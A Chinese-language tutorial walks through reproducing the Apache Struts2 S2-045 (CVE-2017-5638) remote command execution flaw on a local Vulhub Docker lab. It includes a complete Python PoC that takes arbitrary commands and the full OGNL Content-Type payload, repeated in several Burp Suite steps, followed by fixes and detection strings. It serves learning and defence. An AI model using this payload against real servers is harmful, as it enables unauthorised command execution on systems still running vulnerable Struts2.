CVE-2017-5638 Struts2 S2-045 从零复现:原理、Vulhub 环境、Burp 手工改包与 PoC 验证
面向新手的 CVE-2017-5638 / Apache Struts2 S2-045 本地靶场复现教程,包含漏洞背景、Multipart 与 OGNL 原理、Vulhub 环境搭建、Burp Suite 手工修改 Content-Type 请求头、Python PoC 验证、常见问题和修复建议。
免责声明:本文只用于本地靶场学习、CTF 训练和已授权安全研究。请勿对公网、公司生产环境或任何未授权资产进行扫描、验证或利用。文中所有命令默认只针对本机
127.0.0.1上的 Vulhub 靶场。
写在前面
CVE-2017-5638 是 Apache Struts2 历史上非常经典的远程命令执行漏洞,安全公告中常称为 S2-045。很多初学者第一次接触 Java Web RCE、OGNL 表达式注入、Struts2 漏洞复现时,都会遇到它。
这篇文章会尽量用新手能理解的方式,把下面几件事讲清楚:
- Struts2 是什么;
- S2-045 / CVE-2017-5638 是什么;
- 为什么修改
Content-Type请求头就能执行命令; - 如何用 Docker 和 Vulhub 启动本地靶场;
- 如何用浏览器确认靶场页面;
- 如何用 Burp Suite 手工改包复现;
- 如何用 Python PoC 快速验证;
- 成功、失败分别怎么看;
- 防守方应该怎么修复。
本文不会讲对真实目标的攻击方法,也不会写反弹 shell、持久化、提权、横向移动等内容。重点是本地可控环境里的漏洞理解与复现。
目录
- 1. 漏洞简介
- 2. 新手术语速查
- 3. 漏洞影响范围
- 4. 漏洞原理:为什么 Content-Type 会导致 RCE
- 5. 实验环境
- 6. 启动 Vulhub 靶场
- 7. 先用 Python PoC 验证靶场
- 8. Burp Suite 手工复现
- 9. Payload 逐段解释
- 10. 如何判断复现成功
- 11. 常见问题排查
- 12. 修复建议
- 13. 清理环境
- 14. 总结
- 15. 参考链接
1. 漏洞简介
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2017-5638 |
| Struts 公告编号 | S2-045 |
| 漏洞类型 | 远程代码执行 / 远程命令执行 |
| 影响组件 | Apache Struts2 |
| 常见触发点 | Jakarta Multipart parser 文件上传处理 |
| 常见入口 | Content-Type 请求头 |
| 攻击条件 | 目标使用受影响版本,且请求会进入 Struts2 文件上传处理链路 |
| 典型危害 | 攻击者可在目标服务器上执行系统命令 |
一句话理解:
Struts2 在处理文件上传请求时,如果
Content-Type请求头被构造为恶意 OGNL 表达式,异常处理流程可能会解析并执行这个表达式,最终造成远程命令执行。
这个漏洞之所以经典,是因为它满足几个特点:
- 触发入口简单:主要改一个 HTTP 请求头;
- 危害很高:成功后可以执行系统命令;
- 影响面广:当年大量 Java Web 系统使用 Struts2;
- 适合入门学习:可以把 HTTP 请求、Java Web 框架、表达式注入、命令执行串起来理解。
2. 新手术语速查
| 术语 | 新手解释 |
|---|---|
| Struts2 | 一个 Java Web MVC 框架,可以理解为帮 Java 网站处理请求、调用业务逻辑、返回页面的框架。 |
| S2-045 | Apache Struts2 官方漏洞公告编号,对应 CVE-2017-5638。 |
| CVE | Common Vulnerabilities and Exposures,通用漏洞编号。 |
| RCE | Remote Code Execution,远程代码执行。这里表现为远程命令执行。 |
| OGNL | Object-Graph Navigation Language,一种表达式语言。Struts2 中大量使用 OGNL 做参数绑定、表达式解析等。 |
| Multipart | HTTP 文件上传常用的数据格式,常见请求头是 multipart/form-data。 |
| Content-Type | HTTP 请求头,用来告诉服务器请求体是什么格式。 |
| PoC | Proof of Concept,概念验证代码,用来证明漏洞可触发。 |
| Vulhub | 一个常用的漏洞复现 Docker 靶场项目。 |
| Burp Suite | Web 安全测试常用代理工具,可以抓包、改包、重放请求。 |
如果你是完全新手,先记住下面这条线:
1
浏览器发请求 -> Burp 抓包 -> 修改 Content-Type -> Struts2 解析异常 -> OGNL 被执行 -> 命令结果返回
3. 漏洞影响范围
根据公开公告和漏洞库资料,CVE-2017-5638 影响 Apache Struts2 的部分 2.3.x 和 2.5.x 版本。常见说法是:
- Struts 2.3.5 到 2.3.31;
- Struts 2.5 到 2.5.10;
- 修复版本包括 2.3.32、2.5.10.1 及之后版本。
实际排查时不要只看版本号,还要结合项目依赖、是否使用 Struts2、是否启用对应上传解析器、是否有补丁或安全加固。
本文使用 Vulhub 提供的本地靶场镜像:
1
image: vulhub/struts2:2.3.30
这个版本适合用来复现 S2-045。
4. 漏洞原理:为什么 Content-Type 会导致 RCE
4.1 正常文件上传请求是什么样
一个普通文件上传请求大概长这样:
1
2
3
4
5
6
7
8
9
10
11
POST /doUpload.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 1234
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="upload"; filename="test.txt"
Content-Type: text/plain
test
------WebKitFormBoundaryABC123--
这里的重点是请求头:
1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
它告诉服务器:
这是一个 multipart/form-data 格式的文件上传请求,请按照 boundary 分隔符解析请求体。
4.2 Struts2 在哪里出问题
Struts2 处理文件上传时,会调用 Multipart 解析逻辑。如果 Content-Type 异常或解析失败,框架会进入错误处理流程。
S2-045 的关键问题在于:
- 攻击者可以控制
Content-Type请求头; - 这个请求头里的内容进入了异常信息或错误处理流程;
- Struts2 的某些处理逻辑会把其中内容当作 OGNL 表达式求值;
- OGNL 表达式可以访问 Java 类、调用方法;
- 攻击者通过 OGNL 构造
ProcessBuilder执行系统命令。
所以它不是传统意义上的“上传了一个木马文件然后访问木马”,而是:
1
恶意请求头 -> 表达式注入 -> Java 方法调用 -> 系统命令执行
4.3 OGNL 为什么危险
OGNL 是一种表达式语言。正常场景下,它可以用来读取对象属性、调用方法、绑定参数。例如框架内部可能用它处理页面和后端对象之间的数据。
但是如果攻击者能控制一段被 OGNL 解析的表达式,就可能做很危险的事情,比如:
- 修改访问控制;
- 获取 Struts2 上下文;
- 调用 Java 类;
- 创建进程;
- 把命令输出写回 HTTP 响应。
S2-045 的利用 payload 就是在 Content-Type 里塞入一段 OGNL 表达式,让服务端执行。
4.4 本漏洞利用链路图
可以把整个过程理解成下面这样:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
攻击者 / 测试者
|
| 1. 发送 POST /doUpload.action
| 2. Content-Type 中放入恶意 OGNL 表达式
v
Struts2 文件上传处理逻辑
|
| 3. Multipart 解析异常
| 4. 错误处理流程处理 Content-Type
v
OGNL 表达式被求值
|
| 5. 通过 ProcessBuilder 执行 whoami/id
v
系统命令执行
|
| 6. 命令输出写回 HTTP Response
v
Burp Repeater / Python 脚本看到 root、id 等结果
5. 实验环境
本文本地环境如下:
| 项目 | 内容 |
|---|---|
| 操作系统 | Linux |
| 靶场 | Vulhub Struts2 S2-045 |
| Docker 镜像 | vulhub/struts2:2.3.30 |
| 目标地址 | http://127.0.0.1:8080/ |
| 漏洞 Action | http://127.0.0.1:8080/doUpload.action |
| 工具 | Docker、Docker Compose、curl、Python3、Burp Suite |
目录结构:
1
2
3
4
5
CVE-2017-5638/
└── struts2-s2-045/
├── docker-compose.yml
├── poc.py
└── README-复现.md
docker-compose.yml 内容很简单:
1
2
3
4
5
6
version: '2'
services:
struts2:
image: vulhub/struts2:2.3.30
ports:
- "8080:8080"
说明:
- 宿主机
8080端口映射到容器8080; - 浏览器访问
127.0.0.1:8080就是访问容器内 Struts2 应用。
6. 启动 Vulhub 靶场
进入靶场目录:
1
cd /home/fyfhcgch/CTF/CVE/CVE-2017-5638/struts2-s2-045
启动容器:
1
docker compose up -d
查看容器状态:
1
docker compose ps
如果正常,会看到类似输出:
1
2
NAME IMAGE STATUS PORTS
struts2-s2-045-struts2-1 vulhub/struts2:2.3.30 Up 0.0.0.0:8080->8080/tcp
浏览器访问:
1
http://127.0.0.1:8080/
如果页面标题或内容里能看到下面这类文字,说明靶场正常:
1
Struts2 Showcase - Fileupload sample
这个页面是一个文件上传示例页面,其中表单会提交到:
1
/doUpload.action
这个 Action 就是我们后面要打的入口。
7. 先用 Python PoC 验证靶场
在手工用 Burp 改包前,建议先用脚本跑一次,确认靶场确实能触发漏洞。这样如果 Burp 阶段失败,就能知道问题多半出在抓包或改包步骤,而不是靶场本身。
7.1 PoC 脚本
下面是一个只针对本地靶场的 Python3 PoC。它会向 /doUpload.action 发送 POST 请求,并把恶意 OGNL 表达式放在 Content-Type 请求头中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3
import argparse
import sys
import urllib.error
import urllib.request
def build_payload(cmd: str) -> str:
return "%{" \
"(#nike='multipart/form-data')." \
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
"(#_memberAccess?(#_memberAccess=#dm):" \
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
"(#ognlUtil.getExcludedPackageNames().clear())." \
"(#ognlUtil.getExcludedClasses().clear())." \
"(#context.setMemberAccess(#dm))))." \
f"(#cmd={cmd!r})." \
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
"(#p=new java.lang.ProcessBuilder(#cmds))." \
"(#p.redirectErrorStream(true))." \
"(#process=#p.start())." \
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
"(#ros.flush())}"
def exploit(url: str, cmd: str, timeout: int = 10):
payload = build_payload(cmd)
req = urllib.request.Request(
url,
data=b"x=1",
method="POST",
headers={
"User-Agent": "local-lab-cve-2017-5638-poc/1.0",
"Content-Type": payload,
},
)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", errors="replace")
def main():
parser = argparse.ArgumentParser(description="CVE-2017-5638 S2-045 local-lab PoC")
parser.add_argument("url")
parser.add_argument("cmd", nargs="?", default="whoami")
args = parser.parse_args()
status, body = exploit(args.url, args.cmd)
print(f"[+] HTTP status: {status}")
print("[+] Response body:")
print(body.strip())
return 0
if __name__ == "__main__":
sys.exit(main())
7.2 执行 whoami
运行:
1
python3 poc.py http://127.0.0.1:8080/doUpload.action whoami
如果成功,会看到:
1
2
3
[+] HTTP status: 200
[+] Response body:
root
这表示命令在容器内部执行了,当前 Web 进程用户是 root。
7.3 执行 id 和 uname
再执行:
1
python3 poc.py http://127.0.0.1:8080/doUpload.action 'id; uname -a'
成功时可能返回类似:
1
2
3
4
[+] HTTP status: 200
[+] Response body:
uid=0(root) gid=0(root) groups=0(root)
Linux 8c0b976ed28c 7.1.3-zen1-1-zen x86_64 GNU/Linux
注意:
- 这里看到的是 Docker 容器里的用户和系统信息;
- 不是宿主机系统被打穿;
- 本文只验证本地靶场,不做越界操作。
8. Burp Suite 手工复现
脚本验证成功后,下面开始用 Burp Suite 手工抓包、改包、重放。
8.1 为什么要手工复现
手工复现的意义是让你真正看到:
- 哪个请求触发漏洞;
- 哪个请求头被修改;
- 修改前后的
Content-Type有什么区别; - 命令输出是怎么回到响应里的。
只会运行 PoC 是不够的。会手工改包后,你对漏洞触发点会理解得更清楚。
8.2 注意 Burp 代理端口冲突
靶场占用的是:
1
127.0.0.1:8080
而 Burp Suite 默认代理也常用:
1
127.0.0.1:8080
这两个不能同时占用同一个端口。
所以建议把 Burp 代理端口改成:
1
127.0.0.1:8081
操作路径大致为:
1
Proxy -> Proxy settings -> Proxy Listeners
把监听地址设置为:
1
2
Bind address: 127.0.0.1
Bind port: 8081
8.3 使用 Burp 内置浏览器
新手推荐直接用 Burp 自带浏览器,避免手动配置系统代理。
操作:
1
Proxy -> Intercept -> Open browser
在 Burp 浏览器中访问:
1
http://127.0.0.1:8080/
如果能看到 Struts2 文件上传页面,说明代理和靶场都没问题。
8.4 抓取上传请求
页面里有一个文件上传表单。可以先准备一个测试文件:
1
echo test > /tmp/test.txt
在浏览器页面中选择 /tmp/test.txt,点击上传。
然后回到 Burp:
1
Proxy -> HTTP history
找到类似请求:
1
2
3
4
POST /doUpload.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 200
右键该请求:
1
Send to Repeater
然后切换到:
1
Repeater
8.5 修改 Content-Type
在 Repeater 中,找到原来的请求头:
1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
把整行替换为下面这一行。注意:这是完整一行,不要在中间手动换行。
1
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
这里真正执行的命令是:
1
#cmd='whoami'
8.6 点击 Send
在 Repeater 中点击:
1
Send
观察右侧 Response。
如果看到:
1
root
说明 Burp 手工复现成功。
8.7 修改为 id 命令
如果想验证更多信息,可以把 payload 中:
1
#cmd='whoami'
改成:
1
#cmd='id'
再点击 Send。
成功时会看到类似:
1
uid=0(root) gid=0(root) groups=0(root)
8.8 不从页面抓包,直接在 Repeater 构造请求
如果你不想通过上传页面抓包,也可以在 Repeater 里直接构造最小请求:
1
2
3
4
5
6
7
POST /doUpload.action HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Burp-S2-045-Test
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 3
x=1
这里请求体只有:
1
x=1
也能触发漏洞,因为关键点不在上传文件内容,而在 Content-Type 头进入了漏洞链路。
9. Payload 逐段解释
下面把核心 payload 拆开解释。为了方便阅读,下面不是 HTTP 头的一整行,而是按逻辑分段展示。
9.1 外层表达式
1
%{ ... }
这是 OGNL 表达式的外层形式。漏洞触发后,Struts2 会对其中内容求值。
9.2 伪装 multipart 类型
1
(#nike='multipart/form-data')
这一段把变量 nike 设置为 multipart/form-data。很多公开 payload 都会包含类似片段,让表达式整体更贴近上传处理场景。
9.3 获取默认访问权限
1
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
这段通过 OGNL 访问 OgnlContext.DEFAULT_MEMBER_ACCESS,目的是后面放宽表达式访问限制。
9.4 处理 memberAccess
1
(#_memberAccess?(#_memberAccess=#dm):(...))
可以粗略理解为:
- 如果当前上下文中有
_memberAccess,就把它设为默认访问权限; - 如果没有,就从 Struts2 容器中取出
OgnlUtil,清理限制列表,再设置访问权限。
这一部分是为了绕过 OGNL 的访问控制限制。
9.5 清理限制包名和类名
1
2
(#ognlUtil.getExcludedPackageNames().clear())
(#ognlUtil.getExcludedClasses().clear())
这两句清理 OGNL 工具中的排除包名和排除类名,让后续表达式能访问本来不该访问的类。
新手可以这样理解:
1
先解除限制,再调用危险 Java 类。
9.6 设置要执行的命令
1
(#cmd='whoami')
这就是最终要执行的系统命令。
如果改成:
1
(#cmd='id')
就会执行 id。
如果改成:
1
(#cmd='pwd')
就会执行 pwd。
建议本地学习时只使用无破坏命令,例如:
1
2
3
4
whoami
id
pwd
uname -a
不要执行删除文件、写入持久化、下载远程脚本等危险操作。
9.7 判断系统类型
1
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
这段判断目标系统是不是 Windows。
- 如果是 Windows,就使用
cmd.exe /c; - 如果不是 Windows,就使用
/bin/bash -c。
9.8 拼接命令数组
1
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
这段根据系统类型生成命令数组。
在 Linux 容器里,实际效果类似:
1
/bin/bash -c whoami
在 Windows 上则类似:
1
cmd.exe /c whoami
9.9 创建进程
1
2
3
(#p=new java.lang.ProcessBuilder(#cmds))
(#p.redirectErrorStream(true))
(#process=#p.start())
这几句是命令执行的核心:
ProcessBuilder根据命令数组创建系统进程;redirectErrorStream(true)把标准错误也合并到标准输出;start()启动进程。
也就是说,真正的命令执行发生在:
1
#p.start()
9.10 把命令输出写回 HTTP 响应
1
2
3
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))
(#ros.flush())
这几句做了三件事:
- 获取当前 HTTP 响应输出流;
- 把命令进程的输出复制到响应流;
- 刷新响应流。
所以我们才能在 Burp Response 中看到:
1
root
如果没有这一步,命令可能执行了,但页面上看不到结果,验证就会困难很多。
10. 如何判断复现成功
复现成功的核心证据是:
1
响应体中出现了命令输出
例如执行:
1
whoami
响应:
1
root
执行:
1
id
响应:
1
uid=0(root) gid=0(root) groups=0(root)
执行:
1
pwd
响应可能是:
1
/usr/local/tomcat
这些都说明:
- 请求确实到达了 Struts2 应用;
- 恶意
Content-Type被处理; - OGNL 表达式被执行;
- 系统命令在容器内部执行;
- 命令输出被写回 HTTP 响应。
11. 常见问题排查
11.1 访问 127.0.0.1:8080 失败
先看容器状态:
1
docker compose ps
再看日志:
1
docker compose logs --tail=100
如果容器没起来,重新启动:
1
docker compose up -d
11.2 端口 8080 被占用
如果宿主机 8080 已经被其他服务占用,可以把 docker-compose.yml 改成:
1
2
ports:
- "18080:8080"
然后重启:
1
2
docker compose down
docker compose up -d
访问地址改为:
1
http://127.0.0.1:18080/
PoC 也改为:
1
python3 poc.py http://127.0.0.1:18080/doUpload.action whoami
11.3 Burp 抓不到请求
检查三个点:
- 是否使用 Burp 内置浏览器;
- Burp 代理监听是否开启;
- 浏览器是否走了 Burp 代理。
推荐新手直接点:
1
Proxy -> Intercept -> Open browser
用 Burp 打开的浏览器访问靶场。
11.4 Burp 代理和靶场端口冲突
靶场是:
1
127.0.0.1:8080
Burp 代理建议设置为:
1
127.0.0.1:8081
不要让 Burp 也监听 8080。
11.5 Response 没有 root
检查:
- 请求路径是不是
/doUpload.action; - 请求方法是不是
POST; Content-Type是否整行替换为 payload;- payload 是否被自动换行;
- 命令是否写在
#cmd='whoami'这里; - 是否误把 payload 放到了请求体,而不是请求头。
11.6 Burp 提示 malformed request
通常是请求格式被破坏,比如:
- 请求头中间多了空行;
Content-Type被拆成多行;Content-Length和请求体长度严重不匹配;- 复制时漏了冒号或空格。
建议直接使用最小请求重新构造:
1
2
3
4
5
6
7
POST /doUpload.action HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Burp-S2-045-Test
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 3
x=1
12. 修复建议
如果你是防守方或开发者,建议从下面几个方面处理。
12.1 升级 Struts2
最重要的修复方式是升级到官方修复版本。
常见建议:
- Struts 2.3.x 升级到 2.3.32 或更高;
- Struts 2.5.x 升级到 2.5.10.1 或更高;
- 更推荐升级到当前仍维护的安全版本线。
不要只在 WAF 上写规则就算修复。WAF 可以作为缓解措施,但不能替代组件升级。
12.2 排查依赖
Java 项目中可以检查:
pom.xml;build.gradle;WEB-INF/lib目录;- 依赖树中的
struts2-core版本。
Maven 项目可使用:
1
mvn dependency:tree | grep -i struts
Gradle 项目可使用:
1
gradle dependencies | grep -i struts
12.3 限制上传入口
对文件上传接口进行加固:
- 限制上传文件大小;
- 限制上传文件类型;
- 上传目录与 Web 可执行目录隔离;
- 对异常信息不要直接回显框架内部细节;
- 对异常日志进行监控。
12.4 检测可疑请求
可以关注请求头中异常的 Content-Type,例如出现:
1
2
3
4
5
%{
ognl.OgnlContext
ProcessBuilder
getResponse
getOutputStream
这些字符串在正常上传请求里不应该出现。
12.5 最小权限运行服务
本地靶场里命令返回 root,这是因为容器环境配置较简单。生产环境中应避免 Web 服务以高权限用户运行。
建议:
- Web 服务使用低权限账号;
- 容器不要使用特权模式;
- 对文件系统权限进行最小化;
- 配合容器隔离、SELinux、AppArmor 等安全机制。
13. 清理环境
实验结束后关闭容器:
1
2
cd /home/fyfhcgch/CTF/CVE/CVE-2017-5638/struts2-s2-045
docker compose down
如果只是暂停实验,也可以保留容器运行,之后继续访问:
1
http://127.0.0.1:8080/
14. 总结
本文完成了 CVE-2017-5638 / Struts2 S2-045 的本地复现,并从新手角度梳理了完整流程:
- 漏洞本质是 Struts2 文件上传异常处理链路中的 OGNL 表达式注入;
- 关键触发点是
Content-Type请求头; - 利用 payload 通过 OGNL 调用 Java 类,最终用
ProcessBuilder执行系统命令; - 本地 Vulhub 靶场使用
vulhub/struts2:2.3.30; - Python PoC 可以快速确认漏洞;
- Burp Suite 手工改包能更直观理解漏洞触发过程;
- 生产环境应通过升级 Struts2、排查依赖、最小权限、日志监控等方式修复和加固。
学习这个漏洞时,不建议只停留在“复制 payload 得到 root”这一层。更重要的是理解下面这条链路:
1
用户可控输入 -> 框架异常处理 -> 表达式解析 -> Java 方法调用 -> 系统命令执行 -> 响应回显
理解了这条链路,再看其他 Struts2 OGNL 漏洞、模板注入、表达式注入漏洞时,就会更容易建立联系。
15. 参考链接
- Apache Struts 官方历史公告:https://struts.apache.org/announce-2017.html
- NVD CVE-2017-5638:https://nvd.nist.gov/vuln/detail/CVE-2017-5638
- Vulhub 项目:https://github.com/vulhub/vulhub
- 参考复现文章:https://www.cnblogs.com/peace-and-romance/p/15643950.html